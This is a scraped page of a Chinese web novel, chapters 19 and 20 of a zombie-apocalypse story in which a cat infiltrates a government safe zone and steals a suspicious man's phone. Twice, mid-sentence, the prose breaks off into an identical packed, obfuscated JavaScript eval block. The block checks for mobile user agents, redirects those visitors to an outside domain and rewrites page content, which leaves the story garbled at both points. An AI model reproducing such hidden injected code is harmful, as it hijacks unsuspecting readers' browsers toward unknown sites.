《猫员工分岗培训》 19. 丧尸末日（七） 现在的夜晚对大多数生物来说都很危险，找个安全的地方过夜很重要，但这在柚子身上不成立，她有足够的经验避免这点危险。 她还挂念着小花，这次出来最好快点回去。 柚子凭借记忆继续向着范古区前进，因为速度快，眼神好倒是没遇到什么危险。 终于，在天蒙蒙亮的时候柚子找到了范古区政府大楼。 范古区政府外竟然真的没有丧尸，一个都没有，旁边就隔了两条街的地方丧尸可不少。 大门关着，警卫站叉着腰站在门口，他们的腰上别着枪，见柚子往这边来，他们做出吓猫的架势撵她。 正门不能走也有别的办法。 说来，得益于区政府面子工程绿化，只有政府门前这条街种了常绿树，这就让柚子逮到机会爬树翻围墙。 柚子站上围墙往里看。 政府院子里搭起蓝色的救灾帐篷，救助的民众在院子里生活，有警卫在院子里戒备。 她还看到了田棋的土黄小轿车停在靠近大门的那里，和其他私家车停在一起。 柚子跳下围墙，在绿化带里阴暗爬行，毛色成了最好的保护色，一时间没人看到这片常绿灌木丛里多了只猫。 过了一会，两个带着护袖的食堂厨子把今天的早饭送来了。一人推着小推车，上面有一个不锈钢汤桶；另一人提着两大袋面饼。 “开饭了！开饭了！好好排队！” 有早起等饭的人站在第一，顺便指挥后面的人好好排队。 听到开饭的声音，刚才还赖在被窝的人也一个鲤鱼打挺起身，捞起不锈钢碗闷头冲。 这时候可不比以前，想睡懒觉就睡，少吃一顿饭也行。现在的每一顿饭都来之不易，说不准什么时候就吃了上顿儿没下顿儿了。 厨子将面饼袋摆在桌子上，另一人提下汤桶，打开桶盖，白色的雾气蒸腾而上，汤桶里是紫菜蛋花汤。 “来来来！一人一个饼一碗汤，不准多拿！不准多拿！”厨子吆喝着开始给人发饭。 一个饼一碗汤已经吃了两个星期了，搁在以前肯定受不了，但现在这个情况能吃饱都不错了。很多人领到汤饼就蹲着站在外面吃，一口饼一口汤，吃完身体暖和许多了。 柚子占据最好的视角，她相信在这里蹲守一定能蹲到田棋。 过了一会，田棋终于出现在帐篷外，他也拿着不锈钢碗在排队，穿的还是那天出发时的外套，精神状态看着也还行。 既然他安全到达了，为什么还不回去呢？距离他出发已经好几天了。 柚子看着田棋领到早饭站在外面匆匆吃完回了帐篷，没多久他又出来了，穿得整整齐齐和几个青年人结伴往大门口去。 门卫从门卫室出来清点了人数又转回去拿了几样武器给他们，田棋的撬棍也还给了他。 几人结伴往外走去。 柚子选择翻过围墙追踪他们。 这几人出来是有目的地的，他们走出这片丧尸稀少的区域，来到隔着一条街的地方。 这里有些游荡的丧尸，这些丧尸就是他们此行的主要目标。 身形较胖的一人举着椅子靠背改装的盾，吸引最近的丧尸注意，把它引过来后其他人在后面偷袭。 他们分工协作，通过围殴的方式慢速清理丧尸，谈不上效率但是比较安全。 如果是以这种方式行动，那柚子知道为什么范古区政府大楼周围没有一个丧尸了。 几人一小队安全性是有保障的，整个院子住了那么多人，如果只是清理附近的丧尸绰绰有余。 但问题也就出在这里，柚子是见过田棋自己杀丧尸的样子，他下手稳准狠，不会喜欢这种畏畏缩缩低效率的方式，而且他不会为了安全抛弃社区的人。 随着时间过去，又有几个小队赶来清理丧尸。 暂时不知道他们是不是被迫参与这项活动的，但这样的清理太慢了，什么时候才能清到百货商场那里？什么时候才能清到范丽区？ 到了正午，丧尸清理活动暂时告一段落，小队陆陆续续往回走。 柚子就站在他们的必经之路旁，田棋一打眼看到柚子还以为是自己眼花看错猫了。 他瞪大了眼，不敢在这里和柚子说话，只是十步一回头看柚子走到哪了。 柚子就在不远不近的地方跟着田棋，直到田棋进了大门她才没有跟上去。 院子里面人多眼杂不是个会面的地方，她在附近找了个视线好的店铺雨棚窝上去。 她发现在这里生活的居民除了老幼，几乎都要参与劳动，这里有严格的规章制度。 难道田棋是被困在这里劳动的吗？ 吃完午饭下午两点左右，清理小队又陆续出发。 田棋又看到柚子了，他在到达目的地之前借口说自己吃坏肚子要去上厕所，为了打消同伴的疑虑，把撬棍留给了他们。 田棋坐在马桶上，柚子蹲在他腿上。 “是就举左爪，不是就举右爪。” “社区中心大家还好吗？” 左爪。 “有得到政府或者其他援助消息吗？” 右爪。 “我来到这里第一天就被留下了。”田棋开始回忆他的经历。 车刚开进范古区，田棋就发现这里的丧尸数量要比范丽区少很多，越靠近区中心越是明显。 他的车在两条街外被清理小队拦住了，他们带他来到这里。 田棋说明了自己的来意，他很快见到一个很有话语权的男人，算是这个安全区的二把手。 男人告诉他现在的范古区没有多余的力量去救援其他区，他们要优先保证这里的居民生活。 田棋对范古区的做法表示理解，但他希望范古区有任何有用的消息可以通过对讲机告诉他们，又或者如果范丽区的人逃到这里，他希望范古区能收留。 男人很爽快地同意了，但田棋很快发现他被另类软禁在这里，他们不仅收走了他的车和武器，还用[不允许任何人独自从大门离开]这项规则限制他的行动。 这么多天田棋一直在观察附近的情况，打算找机会离开，只不过小队成员盯得很紧，所以一直没找到好时机。 “还有，那个男人特别讨厌猫狗，他命令所有人遇到猫狗要驱逐出这里。所以你还是快点回去吧，被让那些警卫看到了。” 田棋把柚子放在马桶水箱上，独自离开隔间。 不知为何，柚子就是有种直觉，田棋口中的男人，极大可能是小花的前主人。 柚子记得那人也从事兽医行业，平时会和宠物医院店主聊点专业相关的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469805|185254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题，怎么就摇身一变，成了范古区政府二把手了？ 回去当然是不可能回去的，柚子本来也不全是为了田棋来这里的。 小花前主人的身份转变一定有什么不为人知的故事，柚子想要知道。 白天进不去，那就晚上进。 范古区也在断电区域里，他们有一台发电机，这台发电机平时只供大楼里的人使用，在夜晚最多给院子里的人牵几个灯泡照明。 柚子很容易就混进院子，守夜的人夜视能力不行，没看见她。 柚子直奔大楼，不用想都知道，在楼里休息的人一定是有权有势那一批。 走廊里也是黑漆漆的，少数几个房间门缝散了点光，这就是有人住的意思。 楼有四层高，前些年刚翻新过墙壁还是雪白的。 按照套路来说，有点身份的大人物一定不会住在安全系数低的下面两层，柚子先去四楼。 四楼有会议室、区政府主要领导干部办公室、茶水间、卫生间。 办公室都亮着灯，柚子悄悄听墙角，走过几个房间才听到熟悉的声音。 “有说准确的时间吗？” “不知道，或许要等他们处理完自己国家的丧尸病毒，在那之前我们还是不要寄希望于国际援助。” “那要扩大清理范围吗？” “也不行，供不起那么多吃白饭的，现在的比例和数量正好能够维持住。” 屋里二人讨论的事情，柚子没从田棋那里听到过，应该是范古区高层内部消息。 听起来，丧尸病毒有扩散到其他国家，但情况并没有J国这么严重，或者说J国就是丧尸病毒起源地才错失了控制的时机。 屋里说话的声音渐渐消失了，柚子钻进走廊转角的大花盆里，有人从屋子里出来，她瞧见了。 那个男人就是小花的前主人——羊坚。 羊坚不住四楼，他出了门就往三楼去，柚子保持距离跟着他，看着他走进一个房间，也没开灯，就那样歇下了。 这下可以确定，羊坚确实是用了某种方法取得了比较高的地位。 紧随其后更多谜团出现了，他到底用的什么办法？他为什么会出现在范古区？他当时为什么要将小花关在地下室？ 谜团的背后是更多的谜团，现在最重要的事情就是羊坚的秘密。 赶在人们早起前，柚子跑上顶楼占据最有利的视角。 首先起床的是换班的警卫和门卫。 随后是厨子，他们就住在食堂里，因为食堂没电用他们只能开窗散油烟，什么时候窗口开始冒烟就是他们开始做饭了。 再之后是一些醒得早的居民。 大楼里也有动静，但那些人早上一般不出楼，不论是生活用水还是饭都有专人送到楼里。 有点意外的是，羊坚居然一大早来到院子里，他穿的是沾灰旧羽绒服，头发也油到邋遢的程度。 他站在院子里和几个早起的居民说了会儿话，看到厨子抬饭出来，就在一旁帮忙维护秩序。 吃过早饭，羊坚和五个警卫外加一些年轻力壮的青年，十人开了两辆皮卡出门，他们要去附近的一家商场清扫，如果有幸存者也会一起带回来。 这是好机会，柚子下到三楼，从羊坚房间敞开的窗户进到他的屋子。 20. 丧尸末日（八） 这明显是用办公室临时改造的休息室，拥挤的办公室挤下了铁皮文件柜、皮质沙发、一盆人高绿植、折叠铁架床和单薄的被褥，总体还是比较干净的，就是有股挥之不去的烟味。 羊坚的行李就和他的物资一起堆在办公桌上。 柚子跳上办公桌，两个登山包和一个电脑包，这就是羊坚的全部家当。 柚子把鼓鼓囊囊的行李往桌里推推，用爪子勾开拉链，里面的物品迫不及待顺着开口往外涌。 这包都是些零零碎碎的生活用品，羊坚的钱包也混在其中，柚子打开钱夹，里面有几张纸币、几张卡和羊坚的身份证明。 柚子又去翻另一个登山包，在衣服堆下发现了羊坚的手机，这就是她要找的。 柚子在桌上的物资里找了双未拆封的袜子，她把手机塞进袜子里，叼着从窗台离开。 至于一片狼藉的桌子……这就不是她能还原的了，索性不管它。 柚子离开的时候远远地给田棋打了招呼，她相信田棋的能力跑出来是早晚的事情。 来的时候搭了便车，回去也没在路上耽搁，总的来说花了差不多的时间，柚子在离开的第三天回来了。 路过社区中心，她留意了一下，还是老样子，不知道田棋什么时候回来。 柚子回到暂住的房子，小花还是睡在院子里，大冬天的一点也不嫌冷。 看到柚子出现在墙头，它开心地跑过来，嘴里哈着白气。 小花凑近第一时间闻到了羊坚的味道，它下意识摆出阵势吠了两声。 “嘘—”柚子松开嘴里的袜子，制止小花。 小花不叫了，它矮下身子转着圈去闻那个袜子。 柚子把手机倒出来：“是羊坚的手机，我去范古区找羊坚了。” “我说你怎么离开这么久！他们的车来回开了几次你都没有回来。”小花哼哼唧唧过来撞了撞柚子。 “你别去找他，他真的很坏的！” 柚子有意识越过这个问题，她问：“你知道怎么打开这个手机吗？” 小花是个聪明狗，它记得羊坚的锁屏密码，大爪子在手机上划了几下锁屏就解开了。 柚子打开社交软件，最近聊天的账号没有备注真实姓名，羊坚和他的对话始终围绕着宠物食品。 柚子大致浏览了一下，这人有特殊的渠道可以搞到临期宠物食品，羊坚从他这里买粮有三个月了，这正好能和小花说的对上——羊坚出于某种原因开始给宠物吃劣质食品，只是不知道这些食物出了什么问题，导致宠物接连生病。 柚子用关键词搜索聊天记录，通过[粮][猫][狗]找到了他送养宠物的那几个朋友，几人的聊天记录都不约而同地断在了带宠物看病和治疗费账单那里。 这样看下来，好像除了宠物食品这一点有些可疑，暂时找不到什么特别明显的问题。他和家人的聊天也不频繁，没有什么可以研究的。 柚子划着他的手机，突然想起了什么，她打开羊坚手机设置，果然开启了通话自动录音。她又去翻手机录音，录音文件竟然是空的！ 这就不行了，柚子没学过破解程序的方法，得找专业的人找回录音。 不过嘛…… 柚子敲动键盘在手机备忘录打下这么一段模棱两可的话：病毒的事情暴露了…… 日期就写丧尸爆发那天，她又在后面编了几条假信息。 这句话可能把羊坚和丧尸关联起来，如果没问题，那当然查不到什么；如果有问题，这个手机可能成为最重要的证据。 “柚子你骗我！”小花看柚子做完正事，又开始闹她，“不是说取水去的吗？” 柚子：“我是有重要的事情要做，而且我有把握，已经安全回来了不是吗？” …… 回到范古区这边，田棋看到柚子离开后就开始策划逃跑计划，只要他愿意舍弃那辆车，机会还是挺多的。 田棋在中午回去的路上偷偷掉队，等队友发现的时候田棋已经跑了很远了。 他们回去在门卫那里登记了田棋失踪，原因空着。 羊坚的小队回到区政府的时候已经是傍晚了，他们损失一人但成功清理了一家小超市，未来几天会安排人手去那边搬运物资。 羊坚走到房门口，一开门看到的就是桌上散落的物品，他大惊失色扑到桌前翻找。 没有！ 到处都没有手机！什么小偷会在这种时候偷手机？他明明已经藏得很严实了。 羊坚想不通，他跑去监控室要求调监控，监控室的工作人员姗姗来迟告诉他：为了节省电力，监控系统一早就关上了，如果要调取监控需要更多的时间。 羊坚的脸沉得像水泥浇筑的一般。 “如果让我抓到他……” “羊坚，门卫那边说今天有一个失踪的人。”有人跑来报告。 “谁？！” “前几天从范丽区开车来的那个。” …… 田棋拿着撬棍走到深夜才回到社区中心，他敲门的动静吓到了值夜的人。 “怎么样？”没睡的人听到田棋回来都赶紧下楼，希望能从他这里听到什么有用的消息。 “不好，范古区拒绝援助我们，我在那里打听了好多天没有任何政府救援的消息。” “他们那里有多少人？” “普通居民二百不到，都是住在院子的帐篷里。” “而且有区政府的官员在那里，大楼附近两条街没有丧尸，他们会每天安排我们去清理。” 一时间，众人都不知道该怎么办了，难道真的要在这里等待救援吗？那又得等到什么时候？ 田棋察觉一部分人对范古区的生活产生了向往，他不感到奇怪，只是借着月光把去范古区的路线详细画了下来。 田棋：“你们有谁想去我不拦着，只是我觉得范古区的领导者有些不对劲。如果我们留在这里还是能再挺一个多月的，我觉得你们还是好好想想吧。” 人们听完这些话，散开找熟悉的人讨论去了。 田棋不知道有多少人能听进去他最后的忠告，按照他的预测，肯定有人会离开这里。 第二天果然像田棋想的那样，很多人整夜没睡收拾行李，天刚蒙蒙亮就辞行了。 一共三辆车将近二十人结伴而行，原本的社区工作人员也包含在其中。他们这一走，社区中心只留下十来人，包括田棋和他救下的女孩。 “既然走了这么多人，那我们可以靠物资再多挺一会了。”女孩乐观地说道。 田棋问：“你不想去范古区吗？人多热闹一点。” 女孩：“人多的地方麻烦就多，左右都是等救援，在哪里等差别不大。” 这边车队启程，那边羊坚的小队也出发了，两边走的不是一条路，也因此没碰上。 羊坚坐在副驾驶的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477387|185254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，口袋里装着对讲机，他来不及等监控的消息，选择先来逮田棋，对外只说有人偷走了他意义重大的私人物品。 其他人不做他想，哪怕是幸存的区政府官员也只当他丢了什么贵重物品。 汽车撞飞丧尸停在社区中心门口的时候，刚好是中午，田棋等人听到动静还以为是早上出发的人遇到了什么事情回来了。 商务车下来四个警卫，他们开枪射杀了附近的丧尸，哐哐拍门。 田棋不知道范古区的人来这里要做什么，他让其他人待在楼上锁好门，他独自下楼打开门锁。 “田棋，我直说了，把你从范古区带走的东西交上来。”羊坚带着人进到楼里，开门见山说道。 “我确实带了些东西，不知道你说的是什么？”田棋站在稍远的地方试探性问道。 “所有。” 羊坚转了转手里的枪，枪口直指田棋。 田棋挑挑眉，脱了棉服摔在地上：“就这件衣服，别的没有了。” 警卫上前捡起衣服递给羊坚，羊坚摸了摸没找到手机。 “还有别的。” “真没有了。” 羊坚的眼神变得狠毒。 田棋又补充道：“不知道你要找什么。” 羊坚自然是不信，他遣一人去楼上搜寻，又使唤警卫把田棋抓走，他就不信从他身上审不出来消息。 田棋自然要反抗，他不知道这人丢了什么，但万一搞屈打成招那套，这一趟就是九死一生。 几个警卫和田棋扭打在一起的时候，羊坚的对讲机有消息传来。 “羊老师，监控调过来了，一只猫从你的窗户跳下，嘴里叼了只袜子。” 羊坚住的领导办公室是没有监控的，只能调取周围的监控，他们也是花了点功夫才找到线索。 “怎么会这样……”羊坚想过很多种可能，却从没往动物身上想。为什么动物要从他这里偷走最没用的手机？这让他去哪找…… 猫？ 田棋一个滑铲将警卫铲倒在地，他有点头绪，八成可能是那只猫偷的。 “走，别管他了。”羊坚攥着对讲机往外走去，警卫从地上爬起跟着离开了，他们的车很快开走。 这一切都被柚子尽收眼底，她被枪声吸引来就看见羊坚带着人离开。 不用说，他们肯定是为了手机而来，这么紧张这部手机，那这手机里面猫腻不少嘞。 田棋站在门口看车消失在视线中，确认他们走远了才往柚子家去，他迫切需要知道羊坚到底丢了什么重要的东西。 柚子也在考虑，要不要把这个手机留给田棋。 这手机无疑是个烫手山芋，谁拿着就会被羊坚盯上。 哪怕田棋愿意，可他身边还有许多人，必须要为他们的安全考虑。 田棋来的时候也很开门见山：“猫，我想要知道你从男人那里偷了什么？” 柚子从屋里把袜子叼出来，把手机倒在地板上。 田棋坐在地上拿起手机，小花在一边主动给他划开锁屏。 田棋看了小花一眼，心里感叹：果然一猫一狗都不一般。 他也是第一时间检查聊天软件和短信，不仅看不到什么有用的聊天消息，短信除了丧尸爆发当天的欠费提醒其他都和通话记录一样删得干干净净。 他也注意到了备忘录里柚子留的消息，这让他确定羊坚的手机里一定有什么秘密。